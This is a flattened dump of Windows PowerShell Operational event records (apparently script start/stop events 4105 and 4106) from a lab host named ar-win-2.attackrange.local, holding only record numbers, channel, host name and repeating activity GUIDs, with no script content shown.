410515102150x0672433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672385Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672384Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672383Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672382Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672381Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672380Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672379Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672378Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672377Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672376Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672375Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672374Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672373Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672372Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672371Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672370Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672369Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672368Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672367Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672366Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672365Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672364Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672363Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672362Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672361Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672360Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672359Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672358Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672357Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672356Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672355Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672354Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672353Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672352Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672351Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672350Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672349Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672348Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672347Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672346Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672345Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672344Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672343Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672342Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672341Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672340Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672339Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672338Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672337Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672336Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672335Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672334Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672333Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672332Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672331Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672330Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672329Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672328Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672327Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672326Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672325Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672324Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672323Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672322Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672321Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672320Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672319Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672318Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672317Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672316Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672315Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672314Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672313Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672312Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672311Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672310Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672309Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672308Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672307Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672306Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672305Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672304Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672303Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672302Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672301Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672300Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672299Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672298Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672297Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672296Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672295Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672294Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672293Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672292Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672291Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672290Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672289Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672288Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672287Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672286Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672285Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672284Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672283Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672282Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672281Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672280Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672279Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672278Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672277Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672276Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672275Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672274Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672273Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672272Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672271Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 